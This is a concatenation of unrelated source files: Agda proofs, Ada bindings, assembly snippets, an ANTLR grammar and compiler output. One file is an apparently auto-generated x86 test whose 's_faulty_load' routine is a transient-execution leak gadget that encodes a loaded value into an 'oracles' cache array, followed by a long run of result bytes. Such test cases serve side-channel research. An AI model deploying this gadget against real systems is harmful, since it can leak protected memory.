⟦⟧⁻*⁻⇒id S) (D , refl) aux : ∀ {T₁ T₂} Γ m (D : List.map _*⁻ Γ ⊢F T₁ <: T₂) (Ps : Pi (_≡_ ⊤) (Covar n) m T₁) (Pu : Pi (Contra n) (Contra n) m T₂) → F-measure D ≤ F-measure Dtop → [ n ] Vec.foldl (λ _ → _) (flip _∷_) Γ ∥ Pu ∥⁺₁ ⊢FD ∥ Pu ∥⁺₂ <: ∥ Ps ∥⁻ aux Γ zero (fall <:₁ <:₂) (pzero S₁) (pzero S₂) ≤ = rec (-, <:₁) (≤-trans shrinks ≤) n S₂ S₁ refl where shrinks : (F-measure <:₁) < suc (F-measure <:₁ + F-measure <:₂) shrinks = begin-strict F-measure <:₁ ≤⟨ ≤-stepsʳ (F-measure <:₂) ≤-refl ⟩ F-measure <:₁ + F-measure <:₂ <⟨ ≤-refl ⟩ suc (F-measure <:₁ + F-measure <:₂) ∎ aux Γ (suc m) (fall <:₁ <:₂) (psuc refl Ps) (psuc S₂ Pu) ≤ with transport S₂ <:₂ ... | <:₂′ , eq = aux (⟦ S₂ ⟧⁻ ∷ Γ) m <:₂′ Ps Pu $ begin F-measure <:₂′ ≡⟨ eq ⟩ F-measure <:₂ ≤⟨ ≤-stepsˡ (F-measure <:₁) ≤-refl ⟩ F-measure <:₁ + F-measure <:₂ <⟨ ≤ ⟩ suc (F-measure S₂<:S₁ + F-measure U₁<:U₂) ∎ -- The following two functions conclude the reduction proof from F<:ᵈ to F<:⁻. minus⇒deterministic : ∀ n {Γ : NEnv n} {S U} → List.map _*⁻ Γ ⊢F S *⁻ <: U *⁺ → [ n ] Γ ⊢FD S <: U minus⇒deterministic n {Γ} {S} {U} D with minus⇒deterministic-gen (-, D) n *⟦ S ⟧⁻ *⟦ U ⟧⁺ refl ... | D′ rewrite *⁻⟦⟧⁻⇒id S | *⁺⟦⟧⁺⇒id U = D′ deterministic⇒minus : ∀ n {Γ : NEnv n} {S U} → [ n ] Γ ⊢FD S <: U → List.map _*⁻ Γ ⊢F S *⁻ <: U *⁺ deterministic⇒minus n fdtop = ftop deterministic⇒minus n {Γ} (fdvar {m = m} T∈Γ D) with lookupOpt Γ m | inspect (lookupOpt Γ) m deterministic⇒minus n {Γ} (fdvar {m = m} refl D) | just T | [ eq ] = fbinds (lookup⇒<:∈ $ begin env-lookup (List.map _*⁻ Γ) m ≡⟨ env-lookup-same (List.map _*⁻ Γ) m ⟩ env-lookup′ (List.map _*⁻ Γ) m ≡⟨ cong (Maybe.map (repeat (suc m) (_↑ 0))) (lookupOpt-map Γ _*⁻ eq) ⟩ just (repeat m (_↑ 0) (T *⁻) ↑ 0) ≡⟨ cong (just ∘ (_↑ 0)) (repeat*-↑-comm⁻ T m 0) ⟩ just ((repeat m (_↑⁻ 0) T *⁻) ↑ 0) ≡⟨ cong just $ *-↑-comm⁻ (repeat m (_↑⁻ 0) T) 0 ⟩ just ((repeat m (_↑⁻ 0) T ↑⁻ 0) *⁻) ∎) (deterministic⇒minus n D) where open Eq (setoid (Maybe Ftyp)) deterministic⇒minus n {Γ} (fdvar {m = m} () D) | nothing | _ deterministic⇒minus n {Γ} (fdall D) = aux n _ _ _ D where aux : ∀ {n} m {Γ} (S : Vec (Ftyp⁻ n) m) U T → [ n ] Vec.foldl (λ _ → _) (flip _∷_) Γ S ⊢FD U <: T → List.map _*⁻ Γ ⊢F Π⁺ m ∙ T <: Π⁻[ S ]∙ U aux .0 nil U T D = fall (deterministic⇒minus _ D) fvrefl aux .(suc _) (x ‼ S) U T D = fall ftop (aux _ S U T D)
src/oled_sh1106-display.ads
KLOC-Karsten/adaoled
0
21851
<filename>src/oled_sh1106-display.ads with Interfaces; use Interfaces; package OLED_SH1106.Display is OLED_RST : constant Unsigned_16 := 25; OLED_DC : constant Unsigned_16 := 24; OLED_CS : constant Unsigned_16 := 8; KEY_UP_PIN : constant Unsigned_16 := 6; KEY_DOWN_PIN : constant Unsigned_16 := 19; KEY_LEFT_PIN : constant Unsigned_16 := 5; KEY_RIGHT_PIN : constant Unsigned_16 := 26; KEY_PRESS_PIN : constant Unsigned_16 := 13; KEY1_PIN : constant Unsigned_16 := 21; KEY2_PIN : constant Unsigned_16 := 20; KEY3_PIN : constant Unsigned_16 := 16; procedure Reset; procedure Write_Reg(Reg: Unsigned_8); procedure Start_Data; procedure Write_Data(Data: Unsigned_8); procedure Init_Reg; function Module_Init return Boolean; end OLED_SH1106.Display;
Driver/Printer/PrintCom/Styles/stylesSRBold.asm
steakknife/pcgeos
504
83828
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: Print Drivers FILE: stylesSRBold.asm AUTHOR: <NAME> ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 3/21/92 Initial revision from epson24Styles.asm DC_ESCRIPTION: $Id: stylesSRBold.asm,v 1.1 97/04/18 11:51:45 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetBold proc near mov si,offset cs:pr_codes_SetBold jmp SendCodeOut SetBold endp ResetBold proc near mov si,offset cs:pr_codes_ResetBold jmp SendCodeOut ResetBold endp
oeis/167/A167312.asm
neoneye/loda-programs
11
90007
; A167312: Totally multiplicative sequence with a(p) = 2*(p-3) for prime p. ; Submitted by <NAME>(s2) ; 1,-2,0,4,4,0,8,-8,0,-8,16,0,20,-16,0,16,28,0,32,16,0,-32,40,0,16,-40,0,32,52,0,56,-32,0,-56,32,0,68,-64,0,-32,76,0,80,64,0,-80,88,0,64,-32,0,80,100,0,64,-64,0,-104,112,0,116,-112,0,64,80,0,128,112,0,-64,136,0,140,-136,0,128,128,0,152,64,0,-152,160,0,112,-160,0,-128,172,0,160,160,0,-176,128,0,188,-128,0,64 add $0,1 mov $1,1 mov $2,2 mov $4,1 lpb $0 mul $1,$4 mov $3,$0 lpb $3 mov $4,$0 mod $4,$2 add $2,1 cmp $4,0 cmp $4,0 sub $3,$4 lpe div $0,$2 mul $1,2 mov $4,$2 sub $4,3 lpe mov $0,$1 div $0,2
data/pokemon/base_stats/ponyta.asm
opiter09/ASM-Machina
1
22153
db DEX_PONYTA ; pokedex id db 50, 85, 55, 90, 65 ; hp atk def spd spc db FIRE, FIRE ; type db 190 ; catch rate db 152 ; base exp INCBIN "gfx/pokemon/front/ponyta.pic", 0, 1 ; sprite dimensions dw PonytaPicFront, PonytaPicBack db EMBER, TAIL_WHIP, NO_MOVE, NO_MOVE ; level 1 learnset db GROWTH_MEDIUM_FAST ; growth rate ; tm/hm learnset tmhm TOXIC, COUNTER, BODY_SLAM, TAKE_DOWN, DOUBLE_EDGE, \ RAGE, MIMIC, DOUBLE_TEAM, REFLECT, BIDE, \ FIRE_BLAST, SWIFT, SKULL_BASH, REST, SUBSTITUTE ; end db 0 ; padding
src/main/antlr4/com/cbrew/fstruct/notation/FeatParser.g4
cbrew/quadruplet
0
4487
<gh_stars>0 parser grammar FeatParser; options { tokenVocab=FeatLexer; } cfg: (lexentry | cfgrule | mcfgrule)*; mcfgrule: featureMap Arrow2 mcfgrhs; cfgrule: featureMap Arrow cfgrhs; cfgrhs: rhspart (Pipe rhspart)*; mcfgrhs: mcfgrhspart (Pipe mcfgrhspart)*; rhspart: (featureMap|word) +; mcfgrhspart: featureMap+ Colon linseq (Comma linseq)*; linseq: Open numseq+ Close; numseq: (SemLparen Number+ SemRparen); lexentry: word Colon featureMap (Pipe featureMap)*; word: Word ; featureMap: Category (Lsq mapping Rsq); mapping: (fpair|fabbrev)? (Comma (fpair|fabbrev))* ; fpair: Fname Equals fvalue; fvalue: Fname |FstructVariable| flist| ftuple | featureMap | semantics; flist: Lsq (fvalues|fexpr) Rsq; ftuple: Lparen (fvalues|fexpr) Rparen; fvalues: fvalue? (Comma fvalue)*; // tuple and list expressions, for now just X + Y // where X and Y are either collections or ? variables fexpr: fvalue Plus fvalue (Plus fvalue)*; fabbrev: (Plus|Minus) Fname; semantics: Open expression Close; expression: constantExpression # Constant | FstructVariable2 # Variable | expression applicationTail # Application | expression And expression # And | expression Or expression # Or | parenthesizedExpression # Parenthesized | negation # Negated | expression relationTail # Relational | existsExpression # Exists | forallExpression # Forall | lambdaExpression # Lambda | Box # Box | individualExpression # Individual | predicateExpression # Predicate ; predicateExpression: Predicate ; individualExpression: Individual ; constantExpression: Constant ; boolOp: Iff | SemEquals | Implies | NotEquals ; relationTail: boolOp expression ; parenthesizedExpression: SemLparen expression SemRparen; existsExpression: Exists (argument +) Dot expression; forallExpression: Forall (argument +) Dot expression; lambdaExpression: Lambda (larg +) Dot expression; applicationTail: SemLparen expression (SemComma expression)* SemRparen; negation: Not expression; argument : Individual | Predicate | FstructVariable; larg: Individual | Predicate;
Task/Create-an-HTML-table/Ada/create-an-html-table-1.ada
LaudateCorpus1/RosettaCodeData
1
22859
<reponame>LaudateCorpus1/RosettaCodeData<gh_stars>1-10 with Ada.Strings.Unbounded; generic type Item_Type is private; with function To_String(Item: Item_Type) return String is <>; with procedure Put(S: String) is <>; with procedure Put_Line(Line: String) is <>; package HTML_Table is subtype U_String is Ada.Strings.Unbounded.Unbounded_String; function Convert(S: String) return U_String renames Ada.Strings.Unbounded.To_Unbounded_String; type Item_Array is array(Positive range <>, Positive range <>) of Item_Type; type Header_Array is array(Positive range <>) of U_String; procedure Print(Items: Item_Array; Column_Heads: Header_Array); end HTML_Table;
test/Fail/Issue1084.agda
cruhland/agda
1,989
3516
-- Andreas, 2014-12-03 Issue reported by <NAME> postulate A : Set f : A → A g : A → A f x = g x ok : A → A ok x = x g x = f x -- Only `f` and `g` should be colored red, not `ok`.
src/taglib.ads
persan/a-taglib
0
26620
with Ada.Calendar; private with Ada.Finalization; package taglib is type File (<>) is tagged limited private; type Tag (<>) is tagged limited private; type AudioProperties (<>) is tagged limited private; procedure set_strings_unicode (unicode : Boolean); procedure set_string_management_enabled (management : Boolean); type File_Type is (MPEG, OggVorbis, FLAC, MPC, OggFlac, WavPack, Speex, TrueAudio, MP4, ASF); function file_new (filename : String) return File; function file_new (filename : String; c_type : File_Type) return File; function is_valid (F : File) return Boolean; function Get_Tag (F : File'Class) return Tag; function Get_AudioProperties (F : File'Class) return AudioProperties; procedure save (F : File); function title (T : Tag) return String; function artist (T : Tag) return String; function album (T : Tag) return String; function comment (T : Tag) return String; function genre (T : Tag) return String; function year (T : Tag) return Ada.Calendar.Year_Number; function Track (T : Tag) return Natural; procedure set_title (T : in out Tag; title : String); procedure set_artist (T : in out Tag; artist : String); procedure set_album (T : in out Tag; album : String); procedure set_comment (T : in out Tag; comment : String); procedure set_genre (T : in out Tag; genre : String); procedure set_year (T : in out Tag; year : Ada.Calendar.Year_Number); procedure set_track (T : in out Tag; Track : Positive); procedure tag_free_strings; function length (Properties : AudioProperties) return Natural; function bitrate (Properties : AudioProperties) return Natural; function samplerate (Properties : AudioProperties) return Natural; function channels (Properties : AudioProperties) return Natural; type ID3v2_Encoding is (Latin1, UTF16, UTF16BE, UTF8); procedure set_default_text_encoding (encoding : ID3v2_Encoding); private type TagLib_File; type TagLib_File_Access is access all TagLib_File with Storage_Size => 0; type File is new Ada.Finalization.Limited_Controlled with record Dummy : TagLib_File_Access; end record; procedure Finalize (Object : in out File); type Taglib_Tag; type Taglib_Tag_Access is access all Taglib_Tag with Storage_Size => 0; type Tag is new Ada.Finalization.Limited_Controlled with record dummy : Taglib_Tag_Access; end record; type TagLib_AudioProperties; type TagLib_AudioProperties_Access is access all TagLib_AudioProperties with Storage_Size => 0; type AudioProperties is new Ada.Finalization.Limited_Controlled with record dummy : TagLib_AudioProperties_Access; end record; type Package_Controler is new Ada.Finalization.Limited_Controlled with null record; end taglib;
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_21829_1156.asm
ljhsiun2/medusa
9
20768
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r15 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0x12c00, %r13 nop nop nop nop nop add %rbp, %rbp movw $0x6162, (%r13) nop nop nop add $24845, %r11 lea addresses_WT_ht+0x5ed0, %r11 nop nop nop xor $45657, %r15 movb $0x61, (%r11) nop nop nop nop xor %rbp, %rbp lea addresses_WT_ht+0x19330, %r15 nop nop add %rcx, %rcx mov $0x6162636465666768, %r12 movq %r12, %xmm0 vmovups %ymm0, (%r15) nop and $43074, %r13 lea addresses_A_ht+0x10560, %r9 nop nop nop inc %rbp mov (%r9), %r12d nop cmp %r13, %r13 lea addresses_normal_ht+0xcd60, %r11 nop sub $9428, %r13 mov $0x6162636465666768, %r12 movq %r12, %xmm6 movups %xmm6, (%r11) sub $28114, %r12 lea addresses_WT_ht+0x10aa0, %rsi lea addresses_normal_ht+0x1960, %rdi nop nop nop nop nop sub %r9, %r9 mov $110, %rcx rep movsq nop and $7550, %r12 lea addresses_WT_ht+0xd080, %rdi nop nop nop nop nop and $61169, %rsi mov $0x6162636465666768, %r9 movq %r9, (%rdi) nop nop nop add $17849, %rcx lea addresses_WT_ht+0x6443, %rcx nop nop nop xor %r13, %r13 mov $0x6162636465666768, %r9 movq %r9, %xmm6 vmovups %ymm6, (%rcx) nop nop dec %r15 lea addresses_normal_ht+0xfb60, %r13 nop nop nop nop nop dec %r12 mov (%r13), %r11d nop nop add $53761, %rbp lea addresses_normal_ht+0x18740, %rsi lea addresses_WT_ht+0x1cd60, %rdi nop nop nop cmp %rbp, %rbp mov $105, %rcx rep movsb nop nop nop nop cmp %rbp, %rbp lea addresses_D_ht+0x6b60, %rcx nop nop nop nop nop inc %rdi movb (%rcx), %r9b nop nop nop nop xor %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r15 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r8 push %rbx // Faulty Load mov $0x5d3df0000000d60, %r8 nop nop nop nop nop add $61167, %r12 mov (%r8), %ebx lea oracles, %r8 and $0xff, %rbx shlq $12, %rbx mov (%r8,%rbx,1), %rbx pop %rbx pop %r8 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': True, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
Task/Integer-comparison/Ada/integer-comparison.ada
LaudateCorpus1/RosettaCodeData
1
26083
with Ada.Text_IO; use Ada.Text_IO; with Ada.Integer_Text_IO; use Ada.Integer_Text_Io; procedure Compare_Ints is A, B : Integer; begin Get(Item => A); Get(Item => B); -- Test for equality if A = B then Put_Line("A equals B"); end if; -- Test For Less Than if A < B then Put_Line("A is less than B"); end if; -- Test For Greater Than if A > B then Put_Line("A is greater than B"); end if; end Compare_Ints;
libsrc/_DEVELOPMENT/stdio/c/sccz80/vfprintf_unlocked_callee.asm
meesokim/z88dk
0
175515
<filename>libsrc/_DEVELOPMENT/stdio/c/sccz80/vfprintf_unlocked_callee.asm ; int vfprintf_unlocked(FILE *stream, const char *format, void *arg) SECTION code_stdio PUBLIC vfprintf_unlocked_callee EXTERN asm_vfprintf_unlocked vfprintf_unlocked_callee: pop af pop bc pop de pop ix push af jp asm_vfprintf_unlocked
test/Bugs/Issue3027.agda
cruhland/agda
1,989
1228
open import Agda.Builtin.Nat open import Agda.Builtin.Bool open import Agda.Builtin.Equality F : Bool → Set F false = Bool F true = Nat f : ∀ b → F b → Nat f false false = 0 f false true = 1 f true x = 2 data D : Nat → Set where mkD : (b : Bool) (x : F b) → D (f b x) mutual ?X : Nat → Set ?X = _ ?b : Nat → Bool ?b = _ -- Here we should check -- (n : Nat) → ?X n == (x : F (?b 0)) → D (f (?b 0) x) -- and get stuck on comparing the domains, but special inference -- for constructors is overeager and compares the target types, -- solving -- ?X : Nat → Set -- ?X x := D (f (?b 0) x) -- Note that the call to f is not well-typed unless we solve the -- (as yet unsolved) constraint Nat == F (?b 0). constr₁ : (n : Nat) → ?X n constr₁ = mkD (?b 0) -- Now we can form other constraints on ?X. This one simplifies to -- f (?b 0) 1 ≡ 0 (*) constr₂ : ?X 1 ≡ D 0 constr₂ = refl -- Finally, we pick the wrong solution for ?b, causing (*) to become -- f false 1 ≡ 0 -- which crashes with an impossible when we try to reduce the call to f. solve-b : ?b ≡ λ _ → false solve-b = refl
uti/lintasc.asm
olifink/smsqe
0
15847
; Convert a long integer to ASCII into a buffer 1993 <NAME> section utility xdef ut_lintasc ;+++ ; Convert a long integer to ASCII into a buffer. The maximum value ; is 999.999.999. A dirty way of doing it, but very quick. ; ; Entry Exit ; d1.l value length ; a1 ptr to buffer updated ptr to buffer ;--- ut_lintasc lasc.reg reg d2-d3 movem.l lasc.reg,-(sp) moveq #0,d2 ; character count move.l #100000000,d3 bsr.s try_div move.l #10000000,d3 bsr.s try_div move.l #1000000,d3 bsr.s try_div move.l #100000,d3 bsr.s try_div move.l #10000,d3 bsr.s try_div move.l #1000,d3 bsr.s try_div moveq #100,d3 bsr.s try_div moveq #10,d3 bsr.s try_div add.b #'0',d1 addq.b #1,d2 move.b d1,(a1)+ move.l d2,d1 movem.l (sp)+,d2-d3 rts try_div cmp.l d3,d1 ; value larger than digit? blt.s no_div ; no! moveq #'0',d0 ; reset character/counter try_loop addq.b #1,d0 sub.l d3,d1 cmp.l d3,d1 ; still bigger? bge.s try_loop ; yes, try again! addq.b #1,d2 ; another digit move.b d0,(a1)+ ; insert character rts no_div tst.b d2 ; any character in buffer? beq.s no_char ; no! addq.b #1,d2 ; otherwise 0 must be buffered move.b #'0',(a1)+ no_char rts end
testcode/test_sti.asm
1justinbarnett/ece411-sp2017
0
11463
ORIGIN 4x0000 SEGMENT CodeSegment: LEA R1, GOOD NOP NOP NOP NOP NOP NOP NOP LDR R2, R1, 0 LEA R1, VALUE1 NOP NOP NOP NOP NOP NOP NOP STI R2, R1, 1 ; Value 4x600D should be in VALUE3 LEA R1, VALUE3 NOP NOP NOP NOP NOP NOP NOP LDR R0, R1, 0 ; R0 should contain the value 4x600D ENDLOOP: BRnzp ENDLOOP NOP NOP NOP NOP NOP NOP NOP SEGMENT DATA: GOOD: DATA2 4x600D VALUE1: DATA2 VALUE2 VALUE2: DATA2 VALUE3 VALUE3: DATA2 4x0000
test/filters-cases/gcc-arm-sum.asm
OfekShilon/compiler-explorer
4,668
170705
.arch armv8-a .file "example.cpp" .text .Ltext0: .align 2 .global _Z12testFunctionPii .type _Z12testFunctionPii, %function _Z12testFunctionPii: .LFB0: .file 1 "/tmp/example.cpp" .loc 1 1 0 .cfi_startproc sub sp, sp, #32 .cfi_def_cfa_offset 32 str x0, [sp, 8] str w1, [sp, 4] .loc 1 2 0 str wzr, [sp, 24] .LBB2: .loc 1 3 0 str wzr, [sp, 28] .L3: .loc 1 3 0 is_stmt 0 discriminator 3 ldr w1, [sp, 28] ldr w0, [sp, 4] cmp w1, w0 bge .L2 .loc 1 4 0 is_stmt 1 discriminator 2 ldrsw x0, [sp, 28] lsl x0, x0, 2 ldr x1, [sp, 8] add x0, x1, x0 ldr w0, [x0] ldr w1, [sp, 24] add w0, w1, w0 str w0, [sp, 24] .loc 1 3 0 discriminator 2 ldr w0, [sp, 28] add w0, w0, 1 str w0, [sp, 28] b .L3 .L2: .LBE2: .loc 1 6 0 ldr w0, [sp, 24] .loc 1 7 0 add sp, sp, 32 .cfi_def_cfa_offset 0 ret .cfi_endproc .LFE0: .size _Z12testFunctionPii, .-_Z12testFunctionPii .Letext0: .section .debug_info,"",@progbits .Ldebug_info0: .4byte 0xa1 .2byte 0x4 .4byte .Ldebug_abbrev0 .byte 0x8 .uleb128 0x1 .4byte .LASF2 .byte 0x4 .4byte .LASF3 .8byte .Ltext0 .8byte .Letext0-.Ltext0 .4byte .Ldebug_line0 .uleb128 0x2 .4byte .LASF4 .byte 0x1 .byte 0x1 .4byte .LASF5 .4byte 0x97 .8byte .LFB0 .8byte .LFE0-.LFB0 .uleb128 0x1 .byte 0x9c .4byte 0x97 .uleb128 0x3 .4byte .LASF0 .byte 0x1 .byte 0x1 .4byte 0x9e .uleb128 0x2 .byte 0x91 .sleb128 -24 .uleb128 0x3 .4byte .LASF1 .byte 0x1 .byte 0x1 .4byte 0x97 .uleb128 0x2 .byte 0x91 .sleb128 -28 .uleb128 0x4 .string "sum" .byte 0x1 .byte 0x2 .4byte 0x97 .uleb128 0x2 .byte 0x91 .sleb128 -8 .uleb128 0x5 .8byte .LBB2 .8byte .LBE2-.LBB2 .uleb128 0x4 .string "i" .byte 0x1 .byte 0x3 .4byte 0x97 .uleb128 0x2 .byte 0x91 .sleb128 -4 .byte 0 .byte 0 .uleb128 0x6 .byte 0x4 .byte 0x5 .string "int" .uleb128 0x7 .byte 0x8 .4byte 0x97 .byte 0 .section .debug_abbrev,"",@progbits .Ldebug_abbrev0: .uleb128 0x1 .uleb128 0x11 .byte 0x1 .uleb128 0x25 .uleb128 0xe .uleb128 0x13 .uleb128 0xb .uleb128 0x3 .uleb128 0xe .uleb128 0x11 .uleb128 0x1 .uleb128 0x12 .uleb128 0x7 .uleb128 0x10 .uleb128 0x17 .byte 0 .byte 0 .uleb128 0x2 .uleb128 0x2e .byte 0x1 .uleb128 0x3f .uleb128 0x19 .uleb128 0x3 .uleb128 0xe .uleb128 0x3a .uleb128 0xb .uleb128 0x3b .uleb128 0xb .uleb128 0x6e .uleb128 0xe .uleb128 0x49 .uleb128 0x13 .uleb128 0x11 .uleb128 0x1 .uleb128 0x12 .uleb128 0x7 .uleb128 0x40 .uleb128 0x18 .uleb128 0x2117 .uleb128 0x19 .uleb128 0x1 .uleb128 0x13 .byte 0 .byte 0 .uleb128 0x3 .uleb128 0x5 .byte 0 .uleb128 0x3 .uleb128 0xe .uleb128 0x3a .uleb128 0xb .uleb128 0x3b .uleb128 0xb .uleb128 0x49 .uleb128 0x13 .uleb128 0x2 .uleb128 0x18 .byte 0 .byte 0 .uleb128 0x4 .uleb128 0x34 .byte 0 .uleb128 0x3 .uleb128 0x8 .uleb128 0x3a .uleb128 0xb .uleb128 0x3b .uleb128 0xb .uleb128 0x49 .uleb128 0x13 .uleb128 0x2 .uleb128 0x18 .byte 0 .byte 0 .uleb128 0x5 .uleb128 0xb .byte 0x1 .uleb128 0x11 .uleb128 0x1 .uleb128 0x12 .uleb128 0x7 .byte 0 .byte 0 .uleb128 0x6 .uleb128 0x24 .byte 0 .uleb128 0xb .uleb128 0xb .uleb128 0x3e .uleb128 0xb .uleb128 0x3 .uleb128 0x8 .byte 0 .byte 0 .uleb128 0x7 .uleb128 0xf .byte 0 .uleb128 0xb .uleb128 0xb .uleb128 0x49 .uleb128 0x13 .byte 0 .byte 0 .byte 0 .section .debug_aranges,"",@progbits .4byte 0x2c .2byte 0x2 .4byte .Ldebug_info0 .byte 0x8 .byte 0 .2byte 0 .2byte 0 .8byte .Ltext0 .8byte .Letext0-.Ltext0 .8byte 0 .8byte 0 .section .debug_line,"",@progbits .Ldebug_line0: .section .debug_str,"MS",@progbits,1 .LASF2: .string "GNU C++ 5.4.0 20160609 -mlittle-endian -mabi=lp64 -g -fstack-protector-strong" .LASF3: .string "/tmp/example.cpp" .LASF4: .string "testFunction" .LASF0: .string "input" .LASF1: .string "length" .LASF5: .string "_Z12testFunctionPii" .ident "GCC: (Ubuntu/Linaro 5.4.0-6ubuntu1~16.04.1) 5.4.0 20160609" .section .note.GNU-stack,"",@progbits
programs/oeis/016/A016961.asm
neoneye/loda
22
17324
